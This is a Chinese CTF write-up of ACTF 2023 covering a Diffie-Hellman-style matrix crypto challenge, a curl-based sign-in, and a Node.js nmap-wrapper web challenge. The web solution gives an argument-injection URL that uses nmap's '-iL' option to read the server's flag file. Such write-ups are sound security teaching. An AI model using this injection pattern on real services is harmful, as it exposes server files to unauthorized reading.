ACTF 2023 部分WP

来自密码手的哀嚎:

玩不了一点,太难了。

CRYPTO

MDH

Description

Malin's Diffile-Hellman Key Exchange.

task.sage

from hashlib import sha256
from secret import flag

r = 128
c = 96
p = 308955606868885551120230861462612873078105583047156930179459717798715109629
Fp = GF(p)

def gen():
    a1 = random_matrix(Fp, r, c)
    a2 = random_matrix(Fp, r, c)
    A = a1 * a2.T
    return (a1, a2), A

sk_alice, pk_alice = gen()
sk_bob, pk_bob = gen()
shared = (sk_alice[0].T * pk_bob * sk_alice[1]).trace()
ct = int(sha256(str(int(shared)).encode()).hexdigest(), 16) ^^ int.from_bytes(flag, 'big')

with open('output.txt', 'wb') as f:
    f.write(str(ct).encode() + b'\n')
    f.write(str(list(pk_alice)).encode() + b'\n')
    f.write(str(list(pk_bob)).encode() + b'\n')

output.txt

8308943029741424587523612386337754255889681699670071706719724435165094611096603769021839263
[(248911473252706126701034292146541373251616513930062195044617795903221826522, 2006663512374471656012713476848952481708164609054161957903243961884729327, 34477445744870695124522330116853976140397756578144976256418933561356297270, 134510431748375978099734325290614896206741166021565864231628975299374894934, 263052897010932566643732419798564392599203662525075356313352360336696893126, 141993015830421728697942660480086149608207938704594224742919997457007731362, 2884941569385999952542152446419918040970038754772386008722345958209977361, 251929132317823958330447233877195880589103297101688031807949769646459583779, 202402171486986340762120037260332866100215659317408872569460852300216859639, 299869910419680584431600458234987314403629236129755735947187138970557973965, 32123365781587714822724172153965985134547746672138349976513502380627017939,........

分析一下:

shared = (sk_alice[0].T * pk_bob * sk_alice[1]).trace()

也就是说shared = ((a~1~)^T^ * b~1~* (b~2~)^T^ * a~2~ ).trace()

已知Pk_alice = a~1~ * (a~2~)^T^和Pk_bob = b~1~* (b~2~)^T^

线性代数学的好的我们可以根据矩阵的迹的性质:Tr(A) = Tr(A^T^) ,Tr(AB) = Tr(BA)

因此我们可以把shared 内容交换下顺序得到 shared = ((a~1~)^T^ * a~2~ * (b~2~)^T^ * b~1~).trace()

shared = (Pk_alice.T * Pk_bob).trace()

exp:

from hashlib import sha256

p = 308955606868885551120230861462612873078105583047156930179459717798715109629
Fq = GF(p)

f = open("output.txt",'r')
data = f.readlines()

ct = eval(data[0])
pk_alice = eval(data[1])
pk_bob = eval(data[2])

pk_alice = Matrix(Fp,pk_alice)
pk_bob = Matrix(Fq,pk_bob)

shared = (pk_alice.T * pk_bob).trace()

m = int(sha256(str(int(shared)).encode()).hexdigest(), 16) ^^ ct
flag = bytes.fromhex(hex(m)[2:])
print(flag)
# ACTF{do_you_know_f0rm2l1n_1s_4w3s0m3!}

MISC

SIGNIN: 东方原神大学

Description

1944 年,英国剑桥大学著名生物化学家李约瑟来到浙江大学 ,并盛赞浙江大学是"东方剑桥",浙大也通过矢志不渝的发展和进步,证明了自己的含金量。

2020 年,开放冒险游戏原神 横空出世,世界各地的游戏玩家都被这个具有宏大世界观并蕴含丰富中华传统文化的佳作所吸引,就连 AAA 战队的指导老师 BlackWhite 都赞其颇有塞尔达之神韵。

在接下来的几年间,各大高校间兴起了一阵原神大学 之风,中国石油大学 轻添寥寥数笔,便将自己的校名改为了中国原神大学 ,而哈尔滨工业大学 也接下了建设提瓦特工业大学 的光荣使命,众多学校也进入了原神大学称号的抢夺战之中。然而,作为全国排名第三的大学,浙江大学还没有自己的原神大学称号。这时浙江大学 AAA 的队员们想起了李约瑟对浙大"东方剑桥"的盛赞,恍然大悟,浙江大学不就是东方原神大学吗!

所以,欢迎来到东方提瓦特大陆

刚开始做这个就知道点进官网翻翻,一脸懵逼不知道干啥,源代码啥也没有,看着他们一个个做出来。。。呜呜难受

后来才知道用curl发送一个请求从而获取该网站的内容,哎

curl http://www.东方原神大学.com/

得到:

WEB

MyGO's Live!!!!!

Chosen websites for new-type fans of the band MyGO!!!!! .
The newest and the hottest (最新最热)!
「 迷子でもいい、前へ進め───。」
Link: http://124.70.33.170:24000/
Author: yyy
Auto restarting: every 10 mins.

不难发现是nodejs 类型题 Webstorm打开看一下源码,找到关键js代码部分如下:

app.get('/checker', (req, res) => {
  let url = req.query.url;
  
  if (url) {
    if (url.length > 60) {
      res.send("我喜欢你");
      return;
    }
    url = [...url].map(escaped).join("");
    console.log(url);

    let host;
    let port;
    if (url.includes(":")) {
      const parts = url.split(":");
      host = parts[0];
      port = parts.slice(1).join(":");
    } else {
      host = url;
    }
    let command = "";
    // console.log(host);
    // console.log(port);

    if (port) {
      if (isNaN(parseInt(port))) {
        res.send("我喜欢你");
        return;
      }
      command = ["nmap", "-p", port, host].join(" "); // Construct the shell command
    } else {
      command = ["nmap", "-p", "80", host].join(" ");
    }

    var fdout = fs.openSync('stdout.log', 'a');
    var fderr = fs.openSync('stderr.log', 'a');
    nmap = spawn("bash", ["-c", command], {stdio: [0,fdout,fderr] } );

    nmap.on('exit', function (code) {
      console.log('child process exited with code ' + code.toString());
      if (code !== 0) {
        let data = fs.readFileSync('stderr.log');
        console.error(`Error executing command: ${data}`);
        res.send(`Error executing command!!! ${data}`);
      } else {
        let data = fs.readFileSync('stdout.log');
        console.error(`Ok: ${data}`);
        res.send(`${data}`);
      }
    });
  }

发现路由是 checker

/checker?url=-iL%09/flag-????????????????

使用 -iL 去读一下文件,然后我们再构造一个可以报错的命令

便于触发

fs.readFileSync('stderr.log');

然后

/checker?url=-iL

即可得到flag